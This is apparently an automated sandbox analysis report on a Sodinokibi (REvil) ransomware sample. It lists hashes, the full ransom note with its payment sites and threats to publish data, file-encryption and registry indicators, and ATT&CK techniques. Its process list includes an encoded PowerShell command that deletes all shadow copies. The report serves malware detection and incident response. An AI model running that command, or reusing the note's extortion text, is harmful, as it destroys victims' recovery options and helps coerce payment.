sodinokibi | 14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708

General

Target

ransomware.exe
Size

116KB
MD5

b86ad4241b01376b3924a380f6f4c934
SHA1

10682d08a18715a79ee23b58fdb6ee44c4e28c61
SHA256

14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708
SHA512

54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Path

C:\7b65d-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 7b65d. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/335E1A9A78A6847A 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/335E1A9A78A6847A Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: RfPBWX7xyhrmIssaOD4pWOGpg9PiYajwRoQ08uHGBf+o5uAzZIp0vmEnZf3kQyop 0kcdBxUFkEaAm6eye0+PI8pp/WZnygvFwTyzBpRQjgdUfrgs2FPFlbNh/4xNubXD dlE9g75u6qDKDpP+fF4eljueK2gcPa//FmWXDBqWZpZ5N76JM1ZjW9LCdzGgfKAt 4MiOCCg6djVO7npyv28EetDPQ8iDx76jlMvyipYeb4qaT31/A6qsn2qH2zhtUp3M wNyvIkJ3zrk69FX6revo3L+1cGkWdtXsVyLHfMNeYE/J6zhD+EESRQF3hk4Y1GEA cCh4mXs4bd027hh5dXuJ6T/wgKcHPNpTak5pa8ViZC4ZVwu5x/3NUv6epjo61oxn QiRMGovf8yQ3OJDDlqyAFIUwVHgP1ZUu9ez/MdX+k2tJVg3PQwApP5CT9r1MQDcv HI4qCLHpw5otXqf5qPfA+cQxNzr99PX3oxY4POe1ZT26JyliUWQuI6jdEREiQUNw oMy8vwzqht6nj8x8kJlHNUbrl8/NrHy94N+9vrHyzlRyk+LudOXOk6YMz6NvdqTQ zfSwFde3eE3jLOGPHeabEFri9AohS2KHMlsuHDWBma5gkxaJZ006t/V/g2O9Q97r wyAXnWOicjdHimrdcLpMoyHFx2TEz1K5cWq1K24KRPN7Maajcv83dzm8Kz/bGFIH Ra1LYnSPdOIe/NY9AywAt+7V8LQG4zUyxa2ktcd+KyWMdK0x8iXN5MR1E2Qjmlu1 fuwnVuVwRsLN9akIEoZNp/guMtuFY0TesRDpgqcyH3Xh1CGf/VYD7aAxuWPC2UA5 rZODXp7sfv9AtzsCVC6MlUUOLviOmzYb6dl0VLQGfA0jTL5laj8PEpJOcjGIaR5D LKSlgXNajvmVAs8yXr3enc0IVfRDpbrmdDxqiE3ARB0MQmmjDLLDNn5jpVmmWzkI zn6h5QBbpPmvs4io368isqQRriXAbqOVVdYd8hKXiEXvlQB4mSH7UK+JDRftkhIZ aDH56PkyML8xYdVkO/kUq7F5JftIsDpFNB7j0+NIxmliMZJlHdC0kQCAiEekJyFL W/Ju2aWz9vfYOALQnDvcm8z7jAYvPyMyz+uf9UMPBdBxBNWvwdrsGm3rWz2QqNl+ b9jdRyx1gpONbTZy8z9TL3uz19rXal1H7FlY5F0wEH99n5JO/hv52PNCavpSo7/X CPC0QMJKgngkvZ/1pFgrFrO8gZU0A+nZEd9VfU+5+EZTNJMd3lpvDYVCyRJP+iwA 7Lz/ON3xyRJfMfThs+s= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/335E1A9A78A6847A

http://decryptor.cc/335E1A9A78A6847A

Signatures

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

ransomware.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SelectDeny.tif => \??\c:\users\admin\pictures\SelectDeny.tif.7b65d	ransomware.exe
File renamed	C:\Users\Admin\Pictures\UnprotectUnregister.raw => \??\c:\users\admin\pictures\UnprotectUnregister.raw.7b65d	ransomware.exe
File opened for modification	\??\c:\users\admin\pictures\ConnectRename.tiff	ransomware.exe
File opened for modification	\??\c:\users\admin\pictures\EditOut.tiff	ransomware.exe
File renamed	C:\Users\Admin\Pictures\EditOut.tiff => \??\c:\users\admin\pictures\EditOut.tiff.7b65d	ransomware.exe
File renamed	C:\Users\Admin\Pictures\InitializeInvoke.crw => \??\c:\users\admin\pictures\InitializeInvoke.crw.7b65d	ransomware.exe
File renamed	C:\Users\Admin\Pictures\LimitExpand.tiff => \??\c:\users\admin\pictures\LimitExpand.tiff.7b65d	ransomware.exe
File opened for modification	\??\c:\users\admin\pictures\LimitExpand.tiff	ransomware.exe
File renamed	C:\Users\Admin\Pictures\ConnectRename.tiff => \??\c:\users\admin\pictures\ConnectRename.tiff.7b65d	ransomware.exe
File renamed	C:\Users\Admin\Pictures\ExportEnter.raw => \??\c:\users\admin\pictures\ExportEnter.raw.7b65d	ransomware.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

ransomware.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1imlmwm0y.bmp"	ransomware.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

ransomware.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	508	ransomware.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeBackupPrivilege	2164	vssvc.exe
Token: SeRestorePrivilege	2164	vssvc.exe
Token: SeAuditPrivilege	2164	vssvc.exe
Token: SeTakeOwnershipPrivilege	508	ransomware.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

ransomware.exepowershell.exe

pid process

508 ransomware.exe
508 ransomware.exe
756 powershell.exe
756 powershell.exe
756 powershell.exe

pid	process
508	ransomware.exe
508	ransomware.exe
756	powershell.exe
756	powershell.exe
756	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

ransomware.exe

description	pid	process	target process
PID 508 wrote to memory of 756	508	ransomware.exe	powershell.exe
PID 508 wrote to memory of 756	508	ransomware.exe	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 16 IoCs

Processes:

ransomware.exe

description	ioc	process
File opened for modification	\??\c:\program files\EditRename.kix	ransomware.exe
File opened for modification	\??\c:\program files\EnterMount.vsx	ransomware.exe
File opened for modification	\??\c:\program files\ReceiveStep.tif	ransomware.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.svgz	ransomware.exe
File created	\??\c:\program files (x86)\7b65d-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\GetResize.eps	ransomware.exe
File opened for modification	\??\c:\program files\ProtectExpand.docm	ransomware.exe
File opened for modification	\??\c:\program files\RestartClose.xml	ransomware.exe
File opened for modification	\??\c:\program files\SelectExport.pptx	ransomware.exe
File opened for modification	\??\c:\program files\ConnectRegister.html	ransomware.exe
File opened for modification	\??\c:\program files\DisableFormat.i64	ransomware.exe
File opened for modification	\??\c:\program files\RemoveUse.snd	ransomware.exe
File opened for modification	\??\c:\program files\SaveSkip.pptx	ransomware.exe
File created	\??\c:\program files\7b65d-readme.txt	ransomware.exe
File opened for modification	\??\c:\program files\RevokeDisconnect.midi	ransomware.exe
File opened for modification	\??\c:\program files\SetShow.xht	ransomware.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

C:\Users\Admin\AppData\Local\Temp\ransomware.exe
"C:\Users\Admin\AppData\Local\Temp\ransomware.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Drops file in Program Files directory
PID:508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:756